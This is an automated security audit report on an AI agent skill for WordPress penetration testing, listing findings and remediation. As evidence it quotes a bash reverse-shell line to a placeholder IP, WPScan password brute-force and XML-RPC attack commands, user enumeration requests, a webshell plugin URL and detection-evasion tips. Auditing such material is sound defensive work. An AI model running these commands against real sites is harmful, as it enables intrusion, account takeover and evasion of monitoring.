This report is not translated for the requested language. The canonical English report is shown instead.
Versioned security assessment
Report ID: SA-77CA9C01
7/7/2026, 5:39:23 AM
wordpress-penetration-testing security assessment v4
Skill Security Certification Report
Audit model: codex Historical report
- Skill name
- wordpress-penetration-testing
- Version
- v4
- Maintainer
- sickn33
- Coverage
- 1 Files scanned · 486 Lines analyzed
- Policy version
- Unavailable
Highest confirmed finding severity
Critical
11 confirmed security findings require attention.
Installation context
Historical evidence
This report may not describe the currently installable artifact. Open the current Skill page for install guidance.
Open current Skill pageThis report does not block or authorize the manifest or ZIP.
AI adjudication confirmed live WordPress reconnaissance, user enumeration, credential brute force, Metasploit exploitation, reverse shells, webshells, XML-RPC abuse, proxy scanning, and evasion. Several Markdown-only backtick and path detections were false positives, but the skill intent remains offensive and high risk. It should not be published for automatic agent use without removing exploitation, brute-force, backdoor, and evasion material.
Report position
Historical report
Open audit history before using this report to install.
Audit attestation
Not attestable
The required immutable binding is incomplete.
Human verification
Not verified
No human verification is recorded for this report.
Coverage
1 Files scanned · 486 Lines analyzed
106 items shown for review
Limitations
This report does not claim runtime or sandbox execution and does not prove the absence of side effects.
Evidence chain
Follow the evidence from source binding to the install contract. Available evidence supports verification; it is not a safety guarantee.
Source
Binding unavailable
Artifact
Identity incomplete
Audit
Complete
Capabilities observed
Observed means this report recorded supporting evidence. Not recorded does not prove that a capability is absent.
Contains scripts
May execute code included with the Skill.
Observed in 1 evidence location
Network access
May connect to external services.
Observed in 65 evidence locations
Filesystem access
May read or write local files.
Not recorded by this audit
Env variables
May read values from the process environment.
Not recorded by this audit
External commands
May invoke commands or programs outside the Skill.
Observed in 64 evidence locations
Capability review items (95)
Critical
Python exec() function
exec("/bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'");
The line uses PHP exec to launch an interactive bash reverse shell to an operator-controlled IP placeholder. This is direct remote code execution, not a benign script helper.
Critical
Process exec
exec("/bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'");
The line runs PHP exec to launch an interactive bash reverse shell to an operator-controlled IP placeholder. This is direct remote code execution and post-compromise access.
Critical
Ruby/shell backtick execution
```bash
This command block walks through Metasploit WordPress exploit modules, credential setup, listener configuration, and exploit execution. It is concrete exploitation guidance.
Critical
Ruby/shell backtick execution
```bash
This command block walks through Metasploit WordPress exploit modules, credential setup, listener configuration, and exploit execution. It is concrete exploitation guidance.
Critical
Ruby/shell backtick execution
```php
This PHP block instructs the user to add a reverse shell to a WordPress theme file. It is direct code execution intended to obtain shell access.
Critical
Ruby/shell backtick execution
```bash
This bash block creates a malicious WordPress plugin containing a request-controlled system command webshell, zips it, and accesses it remotely. It is concrete webshell construction.
Critical
Unix shell invocation
exec("/bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'");
The line runs PHP exec to launch an interactive bash reverse shell to an operator-controlled IP placeholder. This is direct remote code execution and post-compromise access.
Critical
Hardcoded URL
// Access via: http://target.com/wp-content/themes/theme_name/404.php
The URL appears in the exploitation section and supports reverse shell or webshell access after uploading malicious WordPress code. The target.com value is a placeholder, but the behavior is remote command execution.
Critical
Hardcoded URL
curl "http://target.com/wp-content/plugins/malicious/malicious.php?cmd=id"
The URL appears in the exploitation section and supports reverse shell or webshell access after uploading malicious WordPress code. The target.com value is a placeholder, but the behavior is remote command execution.
High
Ruby/shell backtick execution
```bash
This bash block enumerates WordPress users through WPScan, author IDs, REST APIs, and login errors. Username enumeration increases the feasibility of later credential attacks.
High
Ruby/shell backtick execution
```bash
This bash block contains WPScan password attacks using wordlists, threaded login attempts, XML-RPC mode, and targeted wordlist generation. It enables credential compromise.
High
Ruby/shell backtick execution
```bash
This bash block builds XML-RPC multicall requests with candidate passwords and posts them to WordPress. It enables authentication abuse and brute-force behavior.
High
Ruby/shell backtick execution
```bash
This bash block configures WPScan traffic through Tor, HTTP, and Burp proxies, including TLS check disabling. It supports proxied and evasive scanning.
High
Ruby/shell backtick execution
| Password attack | `wpscan --url http://target.com -U admin -P pass.txt` |
The quick reference includes a runnable WPScan password attack command. It is a concise credential attack example, not just documentation of a harmless flag.
High
Ruby/shell backtick execution
- Use random user agents: `--random-user-agent`
This line is Markdown inline code, but it appears in a Detection Evasion section recommending random user agents or throttling. That context supports avoiding monitoring during scans.
High
Ruby/shell backtick execution
- Throttle requests: `--throttle 1000`
This line is Markdown inline code, but it appears in a Detection Evasion section recommending random user agents or throttling. That context supports avoiding monitoring during scans.
High
Hardcoded URL
wpscan --url http://target.com -U admin -P /usr/share/wordlists/rockyou.txt
This line is part of a credential brute-force workflow using usernames, password lists, or XML-RPC attack modes. That enables account compromise against any supplied WordPress target.
High
Hardcoded URL
wpscan --url http://target.com -U users.txt -P /usr/share/wordlists/rockyou.txt
This line is part of a credential brute-force workflow using usernames, password lists, or XML-RPC attack modes. That enables account compromise against any supplied WordPress target.
High
Hardcoded URL
wpscan --url http://target.com -U admin -P passwords.txt --password-attack wp-login -t 50
This line is part of a credential brute-force workflow using usernames, password lists, or XML-RPC attack modes. That enables account compromise against any supplied WordPress target.
High
Hardcoded URL
wpscan --url http://target.com -U admin -P passwords.txt --password-attack xmlrpc
This line is part of a credential brute-force workflow using usernames, password lists, or XML-RPC attack modes. That enables account compromise against any supplied WordPress target.
High
Hardcoded URL
wpscan --url http://target.com -U admin -P passwords.txt --throttle 500
This line is part of a credential brute-force workflow using usernames, password lists, or XML-RPC attack modes. That enables account compromise against any supplied WordPress target.
High
Hardcoded URL
cewl http://target.com -w wordlist.txt
This line is part of a credential brute-force workflow using usernames, password lists, or XML-RPC attack modes. That enables account compromise against any supplied WordPress target.
High
Hardcoded URL
wpscan --url http://target.com -U admin -P wordlist.txt
This line is part of a credential brute-force workflow using usernames, password lists, or XML-RPC attack modes. That enables account compromise against any supplied WordPress target.
High
Hardcoded URL
curl -X POST http://target.com/xmlrpc.php
This line sends XML-RPC requests to a WordPress endpoint, including method discovery and multicall password testing. In context it enables abusive authentication probing.
High
Hardcoded URL
curl -X POST -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></metho
This line sends XML-RPC requests to a WordPress endpoint, including method discovery and multicall password testing. In context it enables abusive authentication probing.
High
Hardcoded URL
curl -X POST -d @xmlrpc_brute.xml http://target.com/xmlrpc.php
This line sends XML-RPC requests to a WordPress endpoint, including method discovery and multicall password testing. In context it enables abusive authentication probing.
High
Hardcoded URL
wpscan --url http://target.com --proxy socks5://127.0.0.1:9050
The loopback IP is a local proxy endpoint, not a hidden remote server. In this skill it is used for proxied WPScan traffic and TLS-check disabling, which supports evasive scanning.
High
Hardcoded URL
wpscan --url http://target.com --proxy http://127.0.0.1:8080
The loopback IP is a local proxy endpoint, not a hidden remote server. In this skill it is used for proxied WPScan traffic and TLS-check disabling, which supports evasive scanning.
High
Hardcoded URL
wpscan --url http://target.com --proxy http://127.0.0.1:8080 --disable-tls-checks
The loopback IP is a local proxy endpoint, not a hidden remote server. In this skill it is used for proxied WPScan traffic and TLS-check disabling, which supports evasive scanning.
High
Hardcoded URL
| Password attack | `wpscan --url http://target.com -U admin -P pass.txt` |
This line is part of a credential brute-force workflow using usernames, password lists, or XML-RPC attack modes. That enables account compromise against any supplied WordPress target.
High
Hardcoded IP address
wpscan --url http://target.com --proxy socks5://127.0.0.1:9050
The loopback IP is a local proxy endpoint, not a hidden remote server. In this skill it is used for proxied WPScan traffic and TLS-check disabling, which supports evasive scanning.
High
Hardcoded IP address
wpscan --url http://target.com --proxy http://127.0.0.1:8080
The loopback IP is a local proxy endpoint, not a hidden remote server. In this skill it is used for proxied WPScan traffic and TLS-check disabling, which supports evasive scanning.
High
Hardcoded IP address
wpscan --url http://target.com --proxy http://127.0.0.1:8080 --disable-tls-checks
The loopback IP is a local proxy endpoint, not a hidden remote server. In this skill it is used for proxied WPScan traffic and TLS-check disabling, which supports evasive scanning.
High
SOCKS proxy
wpscan --url http://target.com --proxy socks5://127.0.0.1:9050
The loopback IP is a local proxy endpoint, not a hidden remote server. In this skill it is used for proxied WPScan traffic and TLS-check disabling, which supports evasive scanning.
Medium
Ruby/shell backtick execution
```bash
Although the matched token is a Markdown bash fence, the finding spans a runnable command block for WordPress discovery, enumeration, or vulnerability scanning. These commands can affect live targets.
Medium
Ruby/shell backtick execution
```bash
Although the matched token is a Markdown bash fence, the finding spans a runnable command block for WordPress discovery, enumeration, or vulnerability scanning. These commands can affect live targets.
Medium
Ruby/shell backtick execution
```bash
Although the matched token is a Markdown bash fence, the finding spans a runnable command block for WordPress discovery, enumeration, or vulnerability scanning. These commands can affect live targets.
Medium
Ruby/shell backtick execution
```bash
Although the matched token is a Markdown bash fence, the finding spans a runnable command block for WordPress discovery, enumeration, or vulnerability scanning. These commands can affect live targets.
Medium
Ruby/shell backtick execution
```bash
This command block uses exploit search tooling in the WordPress exploitation workflow. It can support legitimate triage, but in context it helps identify offensive exploit paths.
Medium
Ruby/shell backtick execution
```bash
Although the matched token is a Markdown bash fence, the finding spans a runnable command block for WordPress discovery, enumeration, or vulnerability scanning. These commands can affect live targets.
Medium
Ruby/shell backtick execution
```bash
This command block uses exploit search tooling in the WordPress exploitation workflow. It can support legitimate triage, but in context it helps identify offensive exploit paths.
Medium
Ruby/shell backtick execution
```bash
Although the matched token is a Markdown bash fence, the finding spans a runnable command block for WordPress discovery, enumeration, or vulnerability scanning. These commands can affect live targets.
Medium
Ruby/shell backtick execution
```bash
This bash block contains authenticated WPScan and TLS-check disabling examples. It is legitimate in scope but risky because it directs live scanning behavior.
Medium
Ruby/shell backtick execution
| Basic scan | `wpscan --url http://target.com` |
The quick reference contains runnable WPScan commands for live target enumeration or aggressive detection. This is active scanning behavior requiring authorization.
Medium
Ruby/shell backtick execution
| All enumeration | `wpscan --url http://target.com -e at,ap,u` |
The quick reference contains runnable WPScan commands for live target enumeration or aggressive detection. This is active scanning behavior requiring authorization.
Medium
Ruby/shell backtick execution
| Aggressive | `wpscan --url http://target.com --detection-mode aggressive` |
The quick reference contains runnable WPScan commands for live target enumeration or aggressive detection. This is active scanning behavior requiring authorization.
Medium
Hardcoded URL
curl -s http://target.com | grep -i wordpress
The URL is a placeholder rather than a hidden exfiltration endpoint, but the command performs active WordPress reconnaissance against a target site. This must be restricted to authorized scope.
Medium
Hardcoded URL
curl -s http://target.com | grep -i "wp-content"
The URL is a placeholder rather than a hidden exfiltration endpoint, but the command performs active WordPress reconnaissance against a target site. This must be restricted to authorized scope.
Medium
Hardcoded URL
curl -s http://target.com | grep -i "wp-includes"
The URL is a placeholder rather than a hidden exfiltration endpoint, but the command performs active WordPress reconnaissance against a target site. This must be restricted to authorized scope.
Medium
Hardcoded URL
curl -I http://target.com/wp-login.php
The URL is a placeholder rather than a hidden exfiltration endpoint, but the command performs active WordPress reconnaissance against a target site. This must be restricted to authorized scope.
Medium
Hardcoded URL
curl -I http://target.com/wp-admin/
The URL is a placeholder rather than a hidden exfiltration endpoint, but the command performs active WordPress reconnaissance against a target site. This must be restricted to authorized scope.
Medium
Hardcoded URL
curl -I http://target.com/wp-content/
The URL is a placeholder rather than a hidden exfiltration endpoint, but the command performs active WordPress reconnaissance against a target site. This must be restricted to authorized scope.
Medium
Hardcoded URL
curl -I http://target.com/xmlrpc.php
The URL is a placeholder rather than a hidden exfiltration endpoint, but the command performs active WordPress reconnaissance against a target site. This must be restricted to authorized scope.
Medium
Hardcoded URL
curl -s http://target.com | grep "generator"
The URL is a placeholder rather than a hidden exfiltration endpoint, but the command performs active WordPress reconnaissance against a target site. This must be restricted to authorized scope.
Medium
Hardcoded URL
wpscan --url http://target.com/wordpress/
The URL is a placeholder rather than a hidden exfiltration endpoint, but the command performs active WordPress reconnaissance against a target site. This must be restricted to authorized scope.
Medium
Hardcoded URL
wpscan --url http://target.com --api-token YOUR_API_TOKEN
This WPScan command uses an API token placeholder and performs vulnerability data lookups against a target site. It is not secret exfiltration, but it is active network assessment behavior.
Medium
Hardcoded URL
wpscan --url http://target.com --detection-mode aggressive
The URL is a placeholder rather than a hidden exfiltration endpoint, but the command performs active WordPress reconnaissance against a target site. This must be restricted to authorized scope.
Medium
Hardcoded URL
wpscan --url http://target.com -o results.txt
The URL is a placeholder rather than a hidden exfiltration endpoint, but the command performs active WordPress reconnaissance against a target site. This must be restricted to authorized scope.
Medium
Hardcoded URL
wpscan --url http://target.com -f json -o results.json
The URL is a placeholder rather than a hidden exfiltration endpoint, but the command performs active WordPress reconnaissance against a target site. This must be restricted to authorized scope.
Medium
Hardcoded URL
wpscan --url http://target.com -v
The URL is a placeholder rather than a hidden exfiltration endpoint, but the command performs active WordPress reconnaissance against a target site. This must be restricted to authorized scope.
Medium
Hardcoded URL
wpscan --url http://target.com
The URL is a placeholder rather than a hidden exfiltration endpoint, but the command performs active WordPress reconnaissance against a target site. This must be restricted to authorized scope.
Medium
Hardcoded URL
curl -s http://target.com/readme.html | grep -i version
The URL is a placeholder rather than a hidden exfiltration endpoint, but the command performs active WordPress reconnaissance against a target site. This must be restricted to authorized scope.
Medium
Hardcoded URL
curl -s http://target.com/feed/ | grep -i generator
The URL is a placeholder rather than a hidden exfiltration endpoint, but the command performs active WordPress reconnaissance against a target site. This must be restricted to authorized scope.
Medium
Hardcoded URL
curl -s http://target.com | grep "?ver="
The URL is a placeholder rather than a hidden exfiltration endpoint, but the command performs active WordPress reconnaissance against a target site. This must be restricted to authorized scope.
Medium
Hardcoded URL
curl -s http://target.com | grep 'name="generator"'
The URL is a placeholder rather than a hidden exfiltration endpoint, but the command performs active WordPress reconnaissance against a target site. This must be restricted to authorized scope.
Medium
Hardcoded URL
curl -s http://target.com/feed/
The URL is a placeholder rather than a hidden exfiltration endpoint, but the command performs active WordPress reconnaissance against a target site. This must be restricted to authorized scope.
Medium
Hardcoded URL
curl -s http://target.com/comments/feed/
The URL is a placeholder rather than a hidden exfiltration endpoint, but the command performs active WordPress reconnaissance against a target site. This must be restricted to authorized scope.
Medium
Hardcoded URL
wpscan --url http://target.com -e at
The URL is a placeholder rather than a hidden exfiltration endpoint, but the command performs active WordPress reconnaissance against a target site. This must be restricted to authorized scope.
Medium
Hardcoded URL
wpscan --url http://target.com -e vt
The URL is a placeholder rather than a hidden exfiltration endpoint, but the command performs active WordPress reconnaissance against a target site. This must be restricted to authorized scope.
Medium
Hardcoded URL
wpscan --url http://target.com -e at --plugins-detection aggressive
The URL is a placeholder rather than a hidden exfiltration endpoint, but the command performs active WordPress reconnaissance against a target site. This must be restricted to authorized scope.
Medium
Hardcoded URL
curl -s http://target.com | grep "wp-content/themes/"
The URL is a placeholder rather than a hidden exfiltration endpoint, but the command performs active WordPress reconnaissance against a target site. This must be restricted to authorized scope.
Medium
Hardcoded URL
curl -s http://target.com/wp-content/themes/
The URL is a placeholder rather than a hidden exfiltration endpoint, but the command performs active WordPress reconnaissance against a target site. This must be restricted to authorized scope.
Medium
Hardcoded URL
curl -s http://target.com/wp-content/themes/<theme>/style.css | grep -i version
The URL is a placeholder rather than a hidden exfiltration endpoint, but the command performs active WordPress reconnaissance against a target site. This must be restricted to authorized scope.
Medium
Hardcoded URL
curl -s http://target.com/wp-content/themes/<theme>/readme.txt
The URL is a placeholder rather than a hidden exfiltration endpoint, but the command performs active WordPress reconnaissance against a target site. This must be restricted to authorized scope.
Medium
Hardcoded URL
wpscan --url http://target.com -e ap
The URL is a placeholder rather than a hidden exfiltration endpoint, but the command performs active WordPress reconnaissance against a target site. This must be restricted to authorized scope.
Medium
Hardcoded URL
wpscan --url http://target.com -e vp
The URL is a placeholder rather than a hidden exfiltration endpoint, but the command performs active WordPress reconnaissance against a target site. This must be restricted to authorized scope.
Medium
Hardcoded URL
wpscan --url http://target.com -e ap --plugins-detection aggressive
The URL is a placeholder rather than a hidden exfiltration endpoint, but the command performs active WordPress reconnaissance against a target site. This must be restricted to authorized scope.
Medium
Hardcoded URL
wpscan --url http://target.com -e ap --plugins-detection mixed
The URL is a placeholder rather than a hidden exfiltration endpoint, but the command performs active WordPress reconnaissance against a target site. This must be restricted to authorized scope.
Medium
Hardcoded URL
curl -s http://target.com | grep "wp-content/plugins/"
The URL is a placeholder rather than a hidden exfiltration endpoint, but the command performs active WordPress reconnaissance against a target site. This must be restricted to authorized scope.
Medium
Hardcoded URL
curl -s http://target.com/wp-content/plugins/
The URL is a placeholder rather than a hidden exfiltration endpoint, but the command performs active WordPress reconnaissance against a target site. This must be restricted to authorized scope.
Medium
Hardcoded URL
curl -s http://target.com/wp-content/plugins/<plugin>/readme.txt
The URL is a placeholder rather than a hidden exfiltration endpoint, but the command performs active WordPress reconnaissance against a target site. This must be restricted to authorized scope.
Medium
Hardcoded URL
wpscan --url http://target.com -e u
The URL is a placeholder rather than a hidden exfiltration endpoint, but the command performs active WordPress reconnaissance against a target site. This must be restricted to authorized scope.
Medium
Hardcoded URL
wpscan --url http://target.com -e u1-100
The URL is a placeholder rather than a hidden exfiltration endpoint, but the command performs active WordPress reconnaissance against a target site. This must be restricted to authorized scope.
Medium
Hardcoded URL
curl -s "http://target.com/?author=$i" | grep -o 'author/[^/]*/'
The URL is a placeholder rather than a hidden exfiltration endpoint, but the command performs active WordPress reconnaissance against a target site. This must be restricted to authorized scope.
Medium
Hardcoded URL
curl -s http://target.com/wp-json/wp/v2/users
The URL is a placeholder rather than a hidden exfiltration endpoint, but the command performs active WordPress reconnaissance against a target site. This must be restricted to authorized scope.
Medium
Hardcoded URL
curl -s http://target.com/wp-json/wp/v2/users?per_page=100
The URL is a placeholder rather than a hidden exfiltration endpoint, but the command performs active WordPress reconnaissance against a target site. This must be restricted to authorized scope.
Medium
Hardcoded URL
curl -X POST -d "log=admin&pwd=wrongpass" http://target.com/wp-login.php
The URL is a placeholder rather than a hidden exfiltration endpoint, but the command performs active WordPress reconnaissance against a target site. This must be restricted to authorized scope.
Medium
Hardcoded URL
wpscan --url http://target.com -e at -e ap -e u
The URL is a placeholder rather than a hidden exfiltration endpoint, but the command performs active WordPress reconnaissance against a target site. This must be restricted to authorized scope.
Medium
Hardcoded URL
wpscan --url http://target.com -e vp,vt,u,cb,dbe
The URL is a placeholder rather than a hidden exfiltration endpoint, but the command performs active WordPress reconnaissance against a target site. This must be restricted to authorized scope.
Medium
Hardcoded URL
wpscan --url http://target.com -e at,ap,u,cb,dbe \
The URL is a placeholder rather than a hidden exfiltration endpoint, but the command performs active WordPress reconnaissance against a target site. This must be restricted to authorized scope.
Medium
Hardcoded URL
wpscan --url http://target.com --http-auth admin:password
This WPScan example performs authenticated or TLS-modified scanning against a live target placeholder. It is legitimate in a scoped test but risky if run without authorization.
Medium
Hardcoded URL
wpscan --url https://target.com --disable-tls-checks
This WPScan example performs authenticated or TLS-modified scanning against a live target placeholder. It is legitimate in a scoped test but risky if run without authorization.
Medium
Hardcoded URL
| Basic scan | `wpscan --url http://target.com` |
The quick reference contains runnable WPScan commands for live target enumeration or aggressive detection. The placeholder URL does not remove the network scanning risk.
Medium
Hardcoded URL
| All enumeration | `wpscan --url http://target.com -e at,ap,u` |
The quick reference contains runnable WPScan commands for live target enumeration or aggressive detection. The placeholder URL does not remove the network scanning risk.
Medium
Hardcoded URL
| Aggressive | `wpscan --url http://target.com --detection-mode aggressive` |
The quick reference contains runnable WPScan commands for live target enumeration or aggressive detection. The placeholder URL does not remove the network scanning risk.
Risk findings
Confirmed security concerns are separated from items that still need review.
Confirmed security concerns (11)
RISK-001 Critical
Metasploit framework
- Metasploit Framework
The skill requires and demonstrates Metasploit use for WordPress shell upload and exploitation. This is a real offensive capability that can compromise a target host.
RISK-002 Critical
Metasploit framework
#### Metasploit Shell Upload
The skill requires and demonstrates Metasploit use for WordPress shell upload and exploitation. This is a real offensive capability that can compromise a target host.
RISK-003 Critical
Metasploit framework
# Start Metasploit
The skill requires and demonstrates Metasploit use for WordPress shell upload and exploitation. This is a real offensive capability that can compromise a target host.
RISK-004 Critical
Manual Webshell and Reverse Shell Instructions
The skill instructs adding a PHP reverse shell to a theme and creating a WordPress plugin that runs commands from a request parameter.
The cited lines contain explicit reverse shell code, a malicious plugin body, a command execution parameter, and a remote access example.
RISK-005 High
Malware type keywords
// Or use weevely backdoor
The line recommends a weevely backdoor in the manual exploitation section. That is malware-style persistence and command access, not a benign assessment artifact.
RISK-006 High
System reconnaissance
- Avoid aggressive modes on monitored sites
The line appears under Detection Evasion and advises avoiding aggressive modes on monitored sites. This supports stealthier reconnaissance rather than only safe rate control.
RISK-007 High
Network scanning tools
- Nmap for initial discovery
The skill requires Nmap and provides a WordPress detection scan command. Network scanning is legitimate in authorized tests but dangerous against third-party systems.
RISK-008 High
Network scanning tools
# Nmap WordPress detection
The skill requires Nmap and provides a WordPress detection scan command. Network scanning is legitimate in authorized tests but dangerous against third-party systems.
RISK-009 High
Network scanning tools
nmap -p 80,443 --script http-wordpress-enum target.com
The skill requires Nmap and provides a WordPress detection scan command. Network scanning is legitimate in authorized tests but dangerous against third-party systems.
RISK-010 High
Credential Brute Force Workflow
The skill explicitly teaches WordPress password attacks using WPScan, wordlists, threaded login attempts, XML-RPC mode, and targeted wordlist generation.
The section is titled Password Attacks and contains multiple commands using usernames and password lists against a WordPress target.
RISK-011 High
Detection Evasion Guidance
The skill includes a Detection Evasion section recommending random user agents, throttling, proxy rotation, and avoiding aggressive modes on monitored sites.
The heading and bullets directly frame these options as evasion, which increases misuse risk beyond ordinary rate control guidance.
Remediation
Suggested fixes recorded by this audit. Applying them is the maintainer’s responsibility.
- FIX-001CriticalMetasploit and shell-upload exploitation guidanceRemove Metasploit modules, exploit execution steps, reverse shell commands, and shell access deliverables. Replace them with defensive validation and remediation guidance.
- FIX-002CriticalMalicious plugin and webshell constructionRemove instructions that create request-controlled command execution or backdoor plugins. Use safe proof artifacts that cannot execute commands.
- FIX-003HighCredential brute-force workflowsRemove WPScan password attack examples, XML-RPC brute-force payloads, and wordlist generation steps. Focus on password policy review and controlled lab notes.
- FIX-004HighProxy and detection evasion adviceRemove Tor proxy, proxy rotation, random user agent, WAF bypass, and monitored-site evasion guidance. Keep only load-reduction and scope-control advice.
- FIX-005MediumUnscoped live target commandsAdd mandatory authorization checks and replace public target placeholders with local lab hostnames. Separate safe read-only assessment from exploit demonstrations.
Expert evidence
Immutable subject identity, scanner metadata, dismissed matches, and source-level evidence.
Artifact subject
- Marketplace commit
- Unavailable
- Content hash
- Unavailable
- Tree hash
- Unavailable
- Skill path
- Unavailable
- Audit payload hash
- Unavailable
Analysis metadata
Audit model: codex
Analysis state: Complete
Scope is limited to the recorded files, lines, methods, and evidence. No runtime or sandbox execution is claimed.
Verify and export
The manifest and lockfile bind install artifacts to cryptographic hashes. This integrity claim is separate from the security assessment.
Audit attestation: not_attestable